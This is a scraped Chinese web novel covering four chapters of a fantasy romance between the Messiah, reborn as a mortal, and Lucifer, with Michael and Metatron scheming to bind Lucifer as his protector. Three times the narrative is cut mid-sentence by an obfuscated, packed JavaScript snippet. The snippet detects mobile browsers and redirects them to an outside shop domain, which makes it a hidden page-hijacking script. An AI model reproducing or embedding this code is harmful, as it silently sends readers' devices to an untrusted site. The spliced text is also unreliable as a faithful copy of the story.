《[希伯来]和死对头的马甲好上了怎么办》 1. 冤家路窄 厚重云层覆盖上浓郁夜幕,将皎月遮去大半。 莱洛温国的王城依旧灯火通明,男男女女醉倒在灯红酒绿中。 午夜一到,城中央的王宫里霎时升起绚烂烟火,而在所有人抬头仰望时,一束更为耀眼的白光夺去所有注意力。 众人不明原因,都慌忙议论起来,卫兵几次驱赶,才让人群散开。 白光穿过王宫的窗台,映在莱洛温国王皱纹深重的脸上。 他戴着扳指的手握紧了权杖,声音低沉:“都出去。” 悬着心的侍从们这才松了口气,忙不迭安静地退出去,轻轻把门掩上。 须臾,他突然暴起,房中奢华精美价值连城的装饰品都被他一把推倒摔成碎片,就连织金描银的纱帘也未能幸免,在暴躁粗鲁的撕扯下成了破布。 仅仅是这样,还发泄不了他心里的怒火。 也不仅是怒火。 乌云堆积,在窗台投下一片浓重暗影。 国王嗅到了熟悉的味道。 他说不清,只觉得,像是一种被烈火焚烧后的花。 “你真不像你的先祖。” 入耳分明是轻缓温雅的声音,国王却像被灼烫,背脊一僵,随即急急忙忙地转身,他朝着月的方向伏在地上,虔诚又卑微。 完全不像一位生杀予夺的暴虐君王。 反而像个任人宰割的低贱奴隶。 月影中还有一抹更暗沉的影,不知名华贵黑色长羽织成的披风漫不经心扫过赤金地砖,它的主人语调轻柔:“怕了?” 国王的额头紧紧贴着地砖,他嗓音干涩:“……那是传说中祭山族向天国求助的献祭法阵,陛下,天国会知道的。” 天国会知道的。 会知道他做了什么事,会知道他的骄奢淫逸,会知道他的肆意杀戮,会知道他的霸道专横。 他太清楚自己做过什么,所以无可避免地惶恐。 ……天国不会放过他的。 而他迎来的,却只有一声轻笑。 “做过才怕,太晚了。” 国王听见了脚步声,他却将身体伏得更低,不敢有一丝抬头的想法。 “我们那位父神,可从不主张宽恕。” 他听见脚步声在他身前停下。 “他会让你赎罪。” 赎罪? 他做下的事,只怕就算让他死一万次,都不能赎尽罪孽。 “求陛下救我!”国王浑身都被冷汗浸透,贴身衣物凉得惊心,“我愿意、我愿意付出一切,我是陛下最忠诚的奴隶,天国……不能处置我!” 又有点像他的先祖了。 起码这跪在他脚边,乞求他出手瞒天过海的模样,几乎一模一样。 国王感觉到下颌一凉,冰凉的花瓣轻轻柔柔托起他的头,他却觉如被剧毒的冷血动物缠上身躯,豆大的汗珠顺着额头流下。 “人类的王,怎么能害怕?”撒旦陛下依旧从容温柔,“若你畏怯,这位置,我也能换个人来坐。” 只是跌下王座的他会有什么下场,不在撒旦陛下考虑范围之内。 国王身体一激灵,急切道:“陛下,旁人的忠诚尚需考验,可我们一族的灵魂都隶属于您,我们世代为您效力,绝无二心,您所有吩咐,我们一定办到!” 自巴别塔倒塌之后,人类四分五裂,各成一国,百年间纷争不休,他们一族正是在撒旦陛下的扶持下才成为这一国的王族,碾压甚至统治其他国。 一直以来,是他们要求着撒旦陛下不能松手。 何况现在……天国会做出反应的。 他战栗之余,大起胆子抬眼,匆匆扫过撒旦陛下,一如过去无数次,他总会被他面上那张诡异的面具吓得一抖。 撒旦陛下满意地笑起来。 他很喜欢欣赏人类的恐惧和贪婪。 “你的先祖挖去祭山族人眼睛的时候,一点都没犹豫。你族世世代代累积的罪恶足以摧垮既有的一切。” 撒旦陛下的声音如此刻吹进来的那阵风一般轻盈飘然,却在国王的心中重重砸下。 “开弓没有回头箭。知道该如何做了?” 国王尽力咬紧牙,感受着喉腔里莫名涌起的腥气,点了点头。 他本也知道如何做,只是想向地狱之主再求一重心安。 他膝行缓缓后退,直到门口,才站起身出门,他蕴藏风暴的声音在门外响起:“祭山族今日至之后出生的所有婴儿,一个不留。” 撒旦陛下静静地听着,将那枝他来时随手折下的木芙蓉丢弃,同那些精美摆件的碎片躺在了一起。 “真是…… “不堪大用的蠢货。” 米迦勒收回落在那束白光上的视线,微微转身,委婉催促道:“可以稍微快一点点吗?” 在他身后不远处的少年充耳不闻,依然仰望着那束白光。 少年身形高挑削瘦,栗色长发散在身后,一双湛蓝的眼幽远宁静,如高山峻岭之巅的湖泊。那束白光映在他身上,更添几分圣洁与柔和。 ——却又莫名让人战栗。 观他模样,看着不过十余岁,却全然没有同龄人的朝气与活泼,反而如同历经无数岁月般淡漠。 他右耳佩有双环,左耳却空无一物,若有人类在此,必能认出,这正是祭山族人的身份象征。 直到光束消失殆尽,他才垂下眼,不紧不慢地跟上米迦勒。 米迦勒不禁心头一梗,莫名觉得自己的着急相较之下显得颇为滑稽。 他们一前一后沉默着进入一片林中,恰在月光凝聚之处停下。 米迦勒正色道:“圣子,想必你虽丢失一些记忆,但依然还记得自己前来人间的使命,我也就不多言了。如今你转生为凡人,躯体脆弱,又正逢天下大乱,按理我等应伴随左右保护,但天国有规定在先,天使不得无令擅自干预人间之事,亦不能长久停留人间,我能帮你的,只有与你结下契印,日后你所受任何伤病都只会传与我。”他想了想,安慰道,“我是炽天使,没关系,不用担心。” 他说罢,却见面前少年神色未有分毫变化,不禁讪讪,好吧,圣子好像其实没有一点儿担心他的样子。 不过他心中也有困惑,不过就是下一道命令的事,父神关闭水晶天之前顺手就能做了,为何要到如此复杂呢? 他也曾拿这个问题去问刚刚才从圣子身边回来的梅塔特隆,梅塔特隆却只是盯着他半晌,缓缓露出一个略显奇怪的微笑,说,也许父神另有深意呢。 米迦勒直到现在也没想通这层深意,于是干脆不想了,只顾听指令行事便是。 他期待地看着圣子,却不见圣子有所反应,他疑惑地顺着圣子的目光看向他背后,却只看到繁密茂盛的树木枝叶,以及一轮不知何时挣脱乌云的皎皎明月。 “圣子?”米迦勒低声唤道,心里越来越迷茫,圣子怎么和他印象中的不太一样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091845|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以往在天国,圣子弥赛亚虽与他们交集不多,却从来都是温柔和善的,哪有今日这么,这么……冷漠疏离? 少年终于舍得看着他,湛蓝眼中映不出情绪:“梅塔特隆没有告诉你,他为什么会突然回去?” 不是时间到了和他换班轮值吗? 但很明显,从圣子的话中可以窥见,真相应该没这么简单。 米迦勒谨慎地觉得这似乎是自己不该插手的问题,于是跳过话题回归正事:“圣子,请伸出手来……” 话音未落,米迦勒忽地眸光一凝,倏尔张开光辉璀璨的六翼,将圣子结结实实挡住。 下一刻,六支不知何时无声无息悄然出现的黑箭直直钉入米迦勒的六翼,只留一抹箭尾在外。 米迦勒还想努力维持自己在圣子面前的形象,咬紧牙忍住保持表情,然而代价是他一时痛得都说不出话来。 “许久不见,你的反应慢了很多,米迦勒。” 懒懒散散的嗓音在他身后响起,米迦勒回过头,路西法漫不经心地踩在枝头,明明皓月为他再镀上一层光晕,他一双殷红竖瞳在背光处却分外明亮。 他的面容仍旧藏在那张可怖的面具之后,看不清其中变化,只是那双眼中对米迦勒身后之人的兴趣却是直白明确。 “不为我介绍一下这位是谁?” “与你无关。”米迦勒高度紧张,他警惕地盯着路西法,以提防他再次偷袭,同时心里却暗暗松了口气,还好还好,路西法今天戴了面具。 他那张脸属实太有迷惑性,以至于米迦勒都不敢确定,转生为凡人的圣子见到之后是否会动摇。 无怪他会这么想,毕竟迄今为止,他还没见过能对着路西法那张脸不愣神的生灵。 然而他明显放心得太早。 米迦勒偶然往后一瞥,却见圣子正目不转睛地盯着路西法,像是要透过那奇形怪状的面具看清他的真实容貌。 “我认识他。”须臾,圣子肯定地说。 ……你当然认识他了! 你不仅认识他,你还和他有旧怨呢! 且不论最初在伊甸园中的过节,就说当年路西法反叛,率军攻向天国,最终出手击落所向披靡的他至第九层地狱的,可不就是你么? 米迦勒压下心头的千言万语,只对圣子低声道:“要事改日再说,你快走,我拦住他。” 路西法微微挑眉:“我应该装作没听见吗?” 他问得客气,出手却不然,妖异诡谲的蓝紫色烈焰裹挟着阴暗湿冷的血腥气从地下钻出,化作各种形态,以吞噬一切之势猛地向米迦勒和圣子扑去! 米迦勒深知这来自地狱的烈焰的威力,在发现它已悍然截断所有退路之后,米迦勒当机立断,在圣子周围架起一层结界,虽然知道他大概率不会听但依然嘱咐道:“这火焰是路西法的伴生武器,能够吞噬一切,你对付不了,在我设法打开一条通道前千万别出来。” 不出他意料,圣子果真一副并没有在听的模样,他始终盯着路西法的脸,若有所思。 倒是路西法在米迦勒与圣子错位之时看清了他的相貌,原本漫不经心的竖瞳却是微微眯起,其中墨色瞳仁越发尖细。 圣子? 竟然是他。 这可真是……冤家路窄啊。 路西法一双殷红竖瞳扫过圣子明显还未长成的身躯,眸中血色翻涌。 如果耶和华接到他的死讯,表情一定很精彩吧? 2. 反将一军 圣子对路西法的恶意仿若未觉,米迦勒却从周围越发汹涌猛烈的焰火中敏锐发现这一点。 他眉头紧皱,张开手,金光熠熠的结界拔地而起,将圣子牢牢护在中央,而他自己则挥动六翼直朝路西法而去。 但自从看见圣子之后,路西法的目标便不再是他,于是只操纵起无边无际的浓黑瘴气阻挡米迦勒,而他自己则一闪身,放出丛丛如蛇一般的黑色密纹缠上米迦勒布下的结界。 米迦勒见状,紧急抽身转向,几道剑光破开瘴气,再向路西法攻去,他亦察觉路西法的目标只在圣子身上,心头不由着急起来,纵使圣子从前再强,在结下契印之前都无法动用法力,如今不过肉|体凡胎而已。 而路西法又并非天使,不比他们在人间使用法力会受束缚,这结界撑不住路西法一击,届时圣子不就落入他手中了? 米迦勒挥出数道剑光试图截住路西法去路,路西法微微侧身,悠然自若间便躲过大半,唯有一道避之不及,险险从他脸侧擦过,只将那张可怖的面具从他脸上击落。 一直注视着他的圣子借着月光看清了他的脸,湛蓝眸中一滞,随即,像是有许多记忆回到了脑中。 “路西……”圣子望着他,怔怔低声唤道。 ……坏了! 一直以来,只有一位这么叫过路西法。 偏偏,路西法最憎恶的就是他。 米迦勒回头,用难以言喻的眼神看他一眼。 他现在怀疑,圣子就是来给他的职业生涯增加磨难的。 米迦勒瞥见路西法神情已是沉了下去,不禁心头发紧,不再执着于攻势,反手再次加固结界,暗暗期盼圣子能识相别再开口。 圣子的确不再开口。 他只是向前一步,主动跨出了结界。 “快回去!”米迦勒瞪大了眼睛,再顾不得什么仪态规矩,怒喝道,“你真想死在他手上吗!” 路西法抬手,无数来自地狱深处的阴冷怨苦之息化作浓黑羽箭,万箭齐发,密不透风,直冲圣子与米迦勒而去。 这黑箭身带九层地狱千年万里不平不甘之恨,远比方才钉在米迦勒六翼中的那六枚更加凶恶百倍不止。 路西法是真心想要圣子的命的。 他笑道:“能死在我手上,是你莫大的荣幸。” 米迦勒无暇反驳,急急回身挡到圣子跟前,六翼张开,再将长剑抵于胸前,低声吟诵,随即一道纹印在他眉间亮起,刹那间,金光骤起,直将这天地间都照得有如晴天白日! “他还给了你这个?看来,圣子的安危在他心里真是相当重要呢。” 这个“他”不必明说,在场之人都知是指谁。 ——创世神,耶和华。 路西法曾经的主与父。 路西法神情未变,语气温柔,仿佛在与他闲话,只是米迦勒分明在他眸中看见了厌恶之色。 果然,和父神相关的任何东西都会更加激怒路西法。 但现在米迦勒一时间也没什么好办法,炽天使停留人间时法力会被压制到只剩五分之一,如今也就只有父神曾赐下的印记才能抵挡住路西法,为他争取到喘息之机。 米迦勒一边维持着印记的抵挡,一边对圣子急道:“快!伸手,和我结契印!” 他没料到,侧身回头间,却见圣子依旧是不为所动的模样。 他仍看着路西法,称赞道:“非常完美的脸。” 可见每一寸皆是造物主精心雕琢,可为所有对于美的形容词作诠释。 米迦勒眼前一黑。 他从没见过阵前夸敌人容貌好的! 他气得咬牙怒道:“他别的地方也很完美,你要不要都看看?” 这本不过气话,米迦勒说罢便有些懊悔没控制住情绪,不料却见圣子眼睛一亮,竟然……好像,真的期待起来了? 不是,你在期待什么啊! 那可是路西法! 全三界想自荐枕席的能从潘地曼尼南排到水晶天! 当然,他一个都没看上。 而且以你们的关系,若是给所有人的可能性排个序,父神排最后,你绝对排倒数第二啊! 米迦勒体会到了极度无语的时候反而想笑的感觉。 他不想同圣子争辩,干脆要直接抓起他的手强行结下契印。 ——只是,他刚碰到圣子温度极低的手腕,圣子便往后一步,径直躲开。 米迦勒一怔,便见圣子这一步恰恰躲过一抹无声无息从他们中间钻出来的黑影。 “当心,炽天使。”圣子语调平和淡然,米迦勒却觉得自己似乎听出来一点……隐隐约约的,阴阳怪气? 米迦勒张了张嘴,却无从解释起。 “我并不需要你保护,亦不想与你结下契印,你回吧。”圣子继续道,他神情淡漠,明显并非玩笑。 “听到了吗?他让你回去。”路西法轻轻落在距他们一步之遥的地面上,适时笑吟吟地拱火,“你好像不太受圣子待见呢,米迦勒。” 见圣子主动开口驱赶米迦勒,路西法反倒停了攻势,若这位圣子当真能主动激得米迦勒离开,省了他与米迦勒纠缠的功夫,他不介意容忍他活到米迦勒离开那一刻。 毕竟以米迦勒那种认死理的性子,当真是会为保护圣子豁出一切的,他可无意在此时杀了米迦勒。 米迦勒应该留到他与天国正式的战场上,堂堂正正,在所有天使及耶和华面前死去。 米迦勒瞪圆了眼睛,目光在圣子和路西法身上来回扫过:“你,你们……你们是勾结在一起来气我的吗!” 路西法微微偏过头,殷红竖瞳里流露几分假得明显的无辜之色:“我可是和圣子今日才重逢,怎么勾结?再者,圣子,你说,你愿意和我勾结吗?” 而一旁的圣子似乎对“勾结”这个词别有理解,湛蓝双眸略略低垂,竟然像是有些不好意思。 米迦勒觉得现在已经足够难堪,不能等这位脑回路好像有些奇怪的圣子点头再让他更下不来台,于是果断决定来个霸王硬上弓。 什么,圣子愿不愿意?这种事以后再说吧! 回去后有什么惩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091846|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚他都认,只求父神,不要再让他负责和这位圣子有关的事了! 他虽是寿命无尽的天使,但也会有自己要被气到折寿的感觉的。 米迦勒心一横,以最快的速度出手,就要触碰到圣子的手腕。 一旁的路西法看似悠闲,实则始终密切注意着他的动向,见他果真想强行结下契印,唇角微弯,欺身向前,霎时熊熊妖异焰光骤起,圣子顺势向后一步,再次与米迦勒拉开了距离。 而路西法也在此时终于到了他跟前,不足半臂之隔。 算起来,圣子应当是除那位创世神以外,头一个以如此近距离看清他容貌的人。 在这伸手便能拥抱的距离,圣子看过路西法精致完美的眉眼,亦看清他披风被大惊失色的米迦勒一抓之下后眸中一闪而过的嫌弃。 路西好像很讨厌被别人摸到衣服。 圣子默默记下。 路西法垂下殷红竖瞳,少年身形的圣子比同龄人远高出一截,在他跟前却还是不够,他兴致勃勃地俯身,将本就不足的距离缩短到足以让任何生灵心生戒备的程度,嗓音温柔如月下潺潺流水:“我可是帮了你,圣子,你要如何谢我?” 太近了。 圣子几乎能看见路西法苍白细腻肌肤的纹理,还有些许受风吹动的墨色发丝。 地狱之主的美貌与危险同方向成比例,有同样摄人心魄,摧人心志的能力。 恶魔体温偏高,撒旦陛下尤其如是。他温热的手指轻轻抬起面前少年的下颌,指腹抚过他的侧脸,如蝶翼轻触,带起一阵细微痒意,一种似是被烈火焚烧过的花的芬芳渐渐侵入他的鼻腔。 “谢谢你的夸奖,你也很好看,圣子。”路西法陛下心情愉悦,由衷说道。 是可以考虑把他的脸取下来收藏起来的容貌呢。 圣子眸中已只有他微微低垂的眉眼,温柔含笑的唇瓣,火墙之隔外米迦勒声嘶力竭的呼喊和奋起冲撞仿佛与他在两个世界般,他身后已有丝丝缕缕凉意缓缓攀上他身躯,而他只注视着撒旦陛下仿若深情的眼,湛蓝眸中似有深沉浓雾,低声道:“……路西,我接住你了。” 什么? 原本以为稳操胜券的路西法忽地觉得有些不对。 他当即要起身远离,不料圣子反应更快,以前所未有的迅疾之势牢牢扣住了他的掌心。 十指相交。 朗朗月光落在交握的双手上,一道金光自路西法身后飞来,环绕其一圈,须臾,自掌中相连处光芒骤起,紧紧绑连,不可分割。 路西法惊愕至极,不可置信地抬头,却只对上圣子温柔浅淡的笑容。 他转头,却见米迦勒不顾形象地瘫在地上,乐得开怀大笑:“路西法,你也有今天!” “这是什么东西!”路西法厉声道,“你就不怕我现在就杀了他?” “你现在,杀不了他了。”米迦勒的笑容看上去竟然有些幸灾乐祸似的,“这是父神亲自赐下的契印,只做保护之用,绝不可能反伤。 “路西法,以后圣子的安危,就交给你了哦。” 3. 伊勒沙代 第八重恒星天,政务厅一直以来的肃静被由远及近的笑声打破,米迦勒一路来热情洋溢地同见到的每位天使打招呼,把好心情明明白白地体现在了脸上。 他冲进梅塔特隆的专属办公区域时依旧格外兴致高昂,但好歹还有理智,谨慎地关上门施加隔音结界后,这才兴冲冲道:“梅塔,你真是太厉害了,我按你说的做居然真的成功了!” 梅塔特隆从桌上堆积如山的文件中抬起头,却只是浅浅弯了弯唇角,并未如米迦勒一般兴奋。 “成功了就好,以后我们就不必时时想着如何提防路西法设计伤害圣子,也算去除一桩要事。” 米迦勒回想着刚才种种,嘴角始终压不下来:“我还是头一次在路西法的脸上看见那种表情,你没看到真是太可惜了!不过梅塔,你怎么知道圣子会积极配合我?我都没来得及同他交代,他就好像已经知道该怎么做了,好神奇啊。对了,他还说你没告诉我你为什么突然回来,这里面有什么内情吗?” 之前梅塔特隆提出要他联合圣子演一出戏,将那契印结在路西法身上时,米迦勒还有些犹豫,一是因为此事难度极大,路西法生性多疑,若是当场看出端倪,极有可能会将计就计趁机杀了圣子,二就是圣子秉性端正,此事虽是出于正义,可本质仍是欺诈,圣子恐怕未必会同意配合。 但那时候梅塔特隆却肯定地告诉他,圣子一定会配合的。 如今梅塔特隆所说皆成真,米迦勒兴奋之余,也难免好奇,他还想起圣子方才所说——“梅塔特隆没有告诉你,他为什么会突然回去?” 他现在也有点想知道,所以他也问了出口。 梅塔特隆手中的笔一顿,随即又若无其事般继续批复:“没什么内情。既然如今事成了,你以后少和他接触。” “那怎么行?圣子现在就是个柔弱的人类,我觉得还是得时不时去看看,免得路西法哪天真拿他泄愤……” “放心吧,不会的,他比你想的厉害多了。”梅塔特隆头也不抬回道。 从前的他也是这样认为的,在今日之前,圣子没有一切关于天国的记忆,随时可能遇到意外,所以他一直暗中保护,三年前化身一个游商,刻意接近圣子近身保护。 他本以为自己的伪装毫无破绽,和圣子的关系也逐渐密切,经常彻夜把酒长谈。 然而某一天他醒来时却被绑了起来,圣子站在他面前,湛蓝眸中映不出情绪:“你知道你的破绽在何处吗?” 他摇了摇头,这才发现脖颈间还抵着一把冰冷铁刃。 “一个普通游商,不该知晓王室密辛,更不该知道人世的山海之外还有什么,下次记得注意。” 他下意识想点头,却只觉喉间蓦然一凉。 梅塔特隆不由得抬手摸了摸喉咙处。 现在此处皮肤光滑完整,没有任何伤口,但那无法反抗,只能慢慢等着血流尽而死的感受,他已终生难忘。 米迦勒太过率真,绝不是圣子的对手,所以让疑心病重又诡计多端的路西法和圣子纠缠,说不定才是最优解。 何况……梅塔特隆总有预感,圣子,也是这么想的。 “你根本不想和米迦勒结下契印,你想要的,从来都是我。” 路西法收回望着米迦勒乐颠颠飞回去的身影的视线,眯起竖瞳,盯着面前的少年:“是你暗中传信让我知晓今日米迦勒要来与你结契印的。” 不得不说,圣子很会挑人。 阿斯蒙蒂斯那个蠢货就是最合适的选择,消息通过各色人士最终落入他最近正浓情蜜意的小情人耳中,再传给他,而他简单粗暴地象征性分辨下就会急忙去向路西法邀功。 不论真假,路西法都必须来这一趟。 一切都是那么恰到好处。 “为了等到我,你故意拖延时间,还对米迦勒说一些似是而非的话让他分心,又主动提起你们都熟悉的梅塔特隆,拉近关系。米迦勒向来无条件信任梅塔特隆的判断力,也就会打消对你的戒心。 “圣子,你好特别,和天国的那些蠢货都好不一样,我真的快要喜欢上你了。” 路西法笑语盈盈,温柔亲昵,就连眸中亦是柔情满怀,望之全然不似作伪。 圣子没有否认,只是定定地望着他,道:“路西,幻术对我无用。” 路西法看上去颇为遗憾。 他一敛笑意,殷红竖瞳幽深冷暗,斜斜一瞥:“你没资格这么叫我。” “会有的。”圣子笃定道。 “那也是以后的事。”他如此镇定,路西法倒多了几分兴趣。 他向来不喜只知唯唯诺诺之辈,对有胆识的人都会多些耐心。 “先欠着,若我日后做不到,届时再百倍奉还。”虽如此说,但圣子很明显不认为他做不到。 路西法笑出了声:“你凭什么认为你有和我讲条件的资本?凭你是天国的圣子?”他复又凑近,纯黑尖锐的指甲轻轻划过圣子的下颌,轻声低语如情人间呢喃,“可这里是人间,只要我想,就能让你什么都不是。” “你当然可以这么做。”圣子握住他的手腕,湛蓝眼眸温柔平和,“但是,路西,我的倚仗并非这个,你这样做对我影响不大。” “那你的倚仗是什么?”路西法微微挑眉。 “以后你会知道的。” “圣子,你真的很有胆识。”路西法由衷夸赞他,“现在我都舍不得杀你了。” 他这才有闲心琢磨适才米迦勒临走前所嘱咐的头三天要在圣子身边待着,不然契印不稳定,极容易出现问题,当然,圣子肯定无碍,路西法会有什么遭遇可就难说了。 路西法并不太信,他在这人间从来是来去自如,还能遇见什么意外? “圣子,回见。”他摆了摆手,忽地想起什么,蹙眉解下披风,嫌弃地随手一丢,那华贵披风便在空中无风自燃,直至化为灰烬。 圣子抬眼便看见他披风之下过于轻薄的衣衫,那做点缀的金链宝饰摇摇晃晃,却不及撒旦陛下比例完美的躯体惹人注目。 若隐若现,更引人遐想。 圣子摸了摸自己的侧脸,好像有些发烫。 他上前几步,将外衣披到路西法身上,还贴心地帮他整理长发,义正辞严:“夜里风凉。” 路西法似笑非笑地看他一眼,目光在他侧脸和耳边多停留了会儿,终也未拒绝。 圣子停下步伐,目送他的身影在浓浓夜色中消失,须臾,缓缓一笑。 回见? 很快就会再见的。 地狱王都潘地曼尼南永远热闹繁华。 万魔殿侍卫长躬身接过路西法丢下的外衣,虽想不明白为何陛下出去一趟,那件举世无双的华贵长羽披风就被这普普通通的外衣取代,但仍谨慎地想请示,却只听路西法道:“烧了它。” 它还不配他亲自动手。 “是。”侍卫长没有多问,领命退下。 他们早已深深铭记,撒旦陛下的意愿就是地狱唯一的准则。 殿内,阿斯蒙蒂斯和萨麦尔等待已久,只不过一个愁眉苦脸,一个则是惯性地眉头紧皱。 路西法看看这个又看看那个,只觉得分外堵心。 干坏事带来的好心情全没了。 “一个个都丧着脸做什么?都给我笑。”他冷酷地吩咐道。 两位堕天使都勉强地挤出一个笑容。 “陛下可是见到那个米迦勒要暗中护佑的人类了?”阿斯蒙蒂斯迫不及待地问。 “见到了,还是我的老熟人。”路西法懒懒散散地半靠在王座上,将方才的事简略复述一遍。 萨麦尔又皱起眉:“天国竟然也会使出这样的办法?他们真是越来越荒唐了!” “这也能生气啊。”阿斯蒙蒂斯颇为新奇似的小声嘀咕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091847|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “阿斯蒙蒂斯!” “对不住,我嘴贱,请当我没说。”阿斯蒙蒂斯非常麻利地道歉,随即又好奇,“陛下,您说圣子去人间究竟是做什么的呀?这听上去,他以后的日子好像还挺危险的。” 不然也不会需要专门结个契印来保护了。 “越危险越好。”萨麦尔一本正经道,“天国的契印除非到期或父神亲自解开,否则必要一方死亡后才会消除,陛下,是否要我们现在就去动手?” “不急,且容他再活一段时间。”路西法托着头,笑意渐深,“右耳双环,左耳无环,这可是低等种族的象征……圣子降生必然举目无亲,他却还能完好无损活到现在,已经够说明他不简单,梅塔特隆和米迦勒才是真正地小看了他。” 失去记忆和法力还能做到乱世逢生,如今恢复了一切,也许他还能给他带来非同一般的惊喜呢。 为了这份惊喜,路西法甚至觉得,必要时可以保一保他的命。 不过…… 不知道是不是他的错觉,他总觉得,这位圣子弥赛亚,和他当初在天国时遇见的那位,似乎,不太一样? 相貌倒是几乎一模一样,只是……神态,语气,细微处的反应,总让路西法有一种莫名的违和感。 路西法正陷在思索中,忽地,他捂住心口,勃然变色。 “陛下!”萨麦尔大惊,正要上前,却被他抬手制止。 路西法面色阴沉地站起身,径直消失在了王座。 下一刻,他站在人间的土地上,神情不善地盯着面前的少年。 圣子一脸无辜,似乎还颇为高兴他去而复返:“路西,你回来了。” “你做了什么?”路西法眯起竖瞳,杀意凛冽。 圣子仔细思考,然后诚恳道:“什么也没做。” “是吗?我怎么觉得你在找死?”路西法步步逼近,“你是不是以为,我当真不能拿你怎么样。” 让人极其痛苦地活着的办法有很多,路西法恰巧精通每一种,还能做到不时推陈出新。 他不介意让圣子都体验一遍。 圣子不避不躲,神情坦荡:“路西,我的确什么都没做,若一定要说有,那就是想念你。” 路西法步伐一顿。 他能看出,圣子没有说谎。 但最荒谬的就是,圣子居然没有说谎。 圣子看着他,似是想起什么,难得露出符合他这年纪的好奇的表情:“路西,米迦勒说的,原来是真的啊。” “他说什么?” “他说,你天生拥有比所有天使敏锐十倍的感官,同样,你的痛觉也是他们的十倍……也就是,人类的上百倍。” “他不止说了这个吧?”路西法怒极反笑。 圣子迟疑了下,诚实道:“他还说,如果想逼你现身,就掐自己一下,你一定会马上就到。” 鉴于米迦勒原话还包括他看见路西法靠在父神怀里因为疼而哭得浑身发抖并且讲述时笑得极为张扬,一五一十说出来属于太过明确地找死,圣子选择省略。 路西法转身就要走。 “路西,他现在还在天国,现在不是去找他算账的好时机。” “不用你管。” “路西……” “闭嘴!” “……我是想说,我可以帮你。” 路西法顿住,半信半疑地回过身。 圣子主动上前,微凉的指尖压上路西法的心口,转瞬之间,一股清凉之意自他指下传遍路西法全身,所到之处,果真疼痛全消。 路西法垂眸看着他白皙修长的指节,忽地想透了他所来人间的目的。 “路西……” “说。” “我叫伊勒沙代。” 圣子笑了笑,在他心口轻轻划下这几个字。 “请记住,不要忘了我。” 4. 你好奇吗 路西法还是头一次不为做任何事而踏足人间。 也是头一次到这么……破旧的住处。 耶和华也真无情,这位圣子的初始处境看上去可不太妙。 这处边陲小镇因位置太过偏远,虽名义上依然为莱洛温领土,实际上却并不受到任何保护,当然,税还是得照缴不误的。 即使近年来不仅不算得风调雨顺,反而时常有旱涝之灾,这应缴税赋依旧坚如磐石不曾动摇。 而针对祭山族人,则还会更高一筹。 路西法随手拿起一支竹笛。 以他的眼光来看,材质低劣得不提也罢,做工却还不错,甚至能与潘地曼尼南那些专为他制造的能工巧匠一较高下。 “你还会些乐器?” 伊勒沙代的住处里堆满了各种木工制品,其中不乏有几种乐器,一看便知不是属于他人,路西法不由得生出几分兴趣。 “只是偶尔随心意而奏罢了,不通技巧,也不算娴熟。”伊勒沙代自谦道。 路西法将那竹笛扔向他,自己找了张躺椅自来熟地躺下,兴致勃勃道:“给我听听。” 伊勒沙代颔首,正要将那竹笛递到唇边,大门却蓦地被重重推开,一个年轻男子气势汹汹跑进来,挡在伊勒沙代身前,满脸紧张戒备:“先生,他们又来为难你了?” 他还背着一担柴,气喘吁吁,转头忿忿看向路西法,却被他的容貌一晃,原本的厉声质问也就弱了气势:“你们别太过分……” “‘我们’?”路西法支着头,眸光如漾开的波,“我和谁是‘我们’?” 年轻人像被他的目光烫到似的,忙不迭移开脸,却克制不住激荡的心跳,魂不守舍般呆呆问道:“先生,他是男的还是女的啊……” 伊勒沙代却没有回答,只道:“约里,他和那些人不是一起的。” 约里回了神,他刚刚在门口听见又有人命令似的同伊勒沙代说话,这才慌慌忙忙闯进来,现在细想,这榻上的美人虽亦是锦衣华服金玉作饰,却贵气天成,生生将这些富贵之物都压了下去,与那些粗鲁鄙薄的人明显是云泥之别。 他愧疚不已,连忙低着头对路西法道歉:“抱歉,请原谅我出言不逊,这段时间一直有人来骚扰先生,我这才以为……” 路西法完全无心理会他,只看向伊勒沙代,笑道:“遇到麻烦了?看来,我来得正是时候。说说看,兴许……我能帮你呢。” 约里抬起头,大喜过望,正要将发生的事和盘托出,伊勒沙代却适时上前一步,不动声色挡住他,平静道:“不过是些许小事,我能处理。” 约里一愣,十分不解,张口又要说话,但伊勒沙代转向他道:“约里,你该回去了,你的妹妹还在家里等候,你长久不回去,她会担心的。” 他的妹妹明天就要出嫁,今天正是心里忐忑,需要家人陪伴的时候,约里心头一软,匆匆和伊勒沙代道别回家。 伊勒沙代送他出门,待走出几步,约里不禁还是问道:“先生为何不许我向他求助?那些人一直纠缠,上次鼓动了镇长,下次不知道还会找谁来劝呢!” 